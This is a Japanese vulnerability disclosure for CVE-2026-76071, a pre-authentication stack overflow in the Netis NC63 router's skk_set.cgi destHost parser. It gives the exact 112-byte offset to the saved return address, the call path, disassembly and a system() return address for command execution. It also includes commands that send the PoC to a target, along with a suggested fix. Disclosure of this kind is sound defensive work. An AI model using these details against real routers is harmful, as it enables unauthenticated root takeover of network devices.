
skk_set.cgi ipFilterList ハンドラにおける sscanf %[^,] を介した未認証の事前認証スタックバッファオーバーフロー研究者: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 ファームウェア V3.0.0.3327 の汎用 MIB/値パーサーは、ipFilterList の destHost フィールドを、最大フィールド幅を指定しない2つの %[^,] スキャンセットで解析します。各変換は16バイトのローカルスタックバッファに書き込まれます。したがって、直接の HTTP クライアントは長いカンマなしコンポーネントを送信し、関数の保存された制御データを上書きできます。
動的にテストされた2番目の destHost コンポーネントでは、保存された ra はローカルバッファからちょうど112バイトの位置にあります。オリジナルハッシュの CGI に対する QEMU トレースにより、攻撃者が選択した3回目のエントリが 0x0040f7f4 に発生することが確認されました。別の観察専用テストでは、攻撃者が制御するリクエストデータを正確な MIPS a0 引数として保持したまま、戻り先をオリジナルの system() PLT パス 0x00423ab0 にリダイレクトしました。ガード付き /bin/sh はマーカーをログに記録し、コマンドを実行しませんでした。
公開 PoC には意図的に、過度に長い B パターンのみが含まれています。非公開の制御転送値やコマンド境界の構築は含まれていません。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

ベンダーのフロントエンドは srcHost と destHost をカンマ区切りの3つのコンポーネントとして構築し、ipFilterList とともに /cgi-bin/skk_set.cgi に POST します:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

検証済みの HTTP 形状の CGI リクエストには Cookie ヘッダーも Authorization ヘッダーも含まれていませんでした。/tmp/boa_auth は存在しませんでしたが、実行は ipFilterList=mod および destHost パーサーパスへ続行しました。メモリ破壊の欠陥は FUN_0040f7f4 内の幅指定なしスキャンセットです。より広範な CGI 認証の失敗は、この特権ハンドラを事前認証で露出させる条件です。

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
オリジナルの libapmib.so メタデータは、srcHost と destHost の両方を型 0x0c にマップしており、このパーサーケースが選択されます。動的検証は destHost で実施されました。srcHost は別個の動的クレームではなく、同じパーサーの静的カバレッジとして含まれています。

正規化された Ghidra 由来の擬似コード:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 自体は脆弱性ではありません。欠陥は、%[^,] に最大フィールド幅がないため、各宛先が16バイトしかないことを sscanf が認識できない点にあります。容量を考慮したフォーマットでは、%15[^,] のような幅を使用し、変換が正確に3回成功したことを検証し、解析されたアドレス値を検証する必要があります。これは一例の緩和策であり、ベンダーのパッチではありません。
FUN_0040f7f4 は 0x0040f7f4 で始まり、0x1d0 バイトのフレームを作成します:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
型 0x0c の宛先は fp+0x14c と fp+0x15c にあります。保存された ra は fp+0x1cc にあるため、2番目のバッファからの正確な距離は次のとおりです:
0x1cc - 0x15c = 0x70 = 112 bytes

隔離された PC 証明では、112バイトのパディングバイトに続けて 0x0040f7f4 の下位3バイトのリトルエンディアン値を使用しました。sscanf の終端文字が4番目のゼロバイトを供給しました。QEMU は、通常のパーサーエントリが2回発生した後、上書きされた戻りアドレスによって引き起こされた3回目のエントリを観測しました:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

別の非公開検証では、保存された ra=0x00423ab0(オリジナルバイナリの system() PLT パス)を形成しました。制御されたリクエストキーのサフィックスは、リターン時に MIPS a0 に残りました。使い捨てランタイムは /bin/sh を静的ロガーに置き換えました:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
これにより、隔離された本番コードパスにおける RCE プリミティブが確立されます。物理ルーターの正確なエクスプロイト信頼性、カーネルのランダム化動作、およびデフォルトの WAN 露出はテストされていません。
テストした netis.cgi は本番アーティファクトとバイト単位で同一です。qemu-user ではフラッシュバックアップされた MIB 状態が利用できないため、使い捨て rootfs は、ゼロ初期化された MIB 状態を割り当て、1つのパックフィールドのアライメントを調整した、開示されたラボ専用の libapmib.so 調整を使用しました。CGI、リクエストパーサー、脆弱な sscanf、スタックフレーム、保存済み戻りオフセット、エピローグ、または system() パスは変更されていません。静的メタデータはオリジナルのベンダー libapmib.so からのものです。
オリジナルの実行可能ファイルは固定ベース、スタックカナリアなし、RELRO なし、実行可能スタックおよび RWX セグメントを持ちます。これらの特性はエクスプロイト可能性の分析をサポートしますが、動的な PC およびガード付き境界テストの代わりにはなりません。

URL エンコードされたボディのドライラン生成:
python3 poc/poc.py
承認済みの使い捨てターゲットへの明示的な送信:
python3 poc/poc.py --target http://192.168.1.1 --send
公開スクリプトは115バイトの B コンポーネントを使用してオーバーフロー状態を示します。送信すると CGI プロセスがクラッシュする可能性があります。コマンド文字列、シェルコード、system へのリターンアドレス、リバースシェル、または永続化は含まれていません。
エクスプロイトに成功すると、ルーター管理コンテキストで攻撃者が選択したコマンドを実行できる可能性があります。オリジナルの Boa 構成は CGI を root として実行します。潜在的な影響には、ルーター設定とシークレットの開示、DNS/ファイアウォール/ルーティング操作、トラフィックリダイレクト、サービス妨害、およびデバイスの完全な乗っ取りが含まれます。
%15[^,] を使用し、3回の変換成功を必須にする。%s および %[...] を監査する。evidence/README.md を参照してください。正規化された擬似コードと命令の証拠は attachments/decompiled-functions/ にあります。
CVE-2026-76071 を採番し、公開開示を承認。物理ルーターへのフラッシュは行われていません。実際のコマンド、シェルコード、リバースシェル、永続化、外部ネットワーク接続、または破壊的な操作は使用されていません。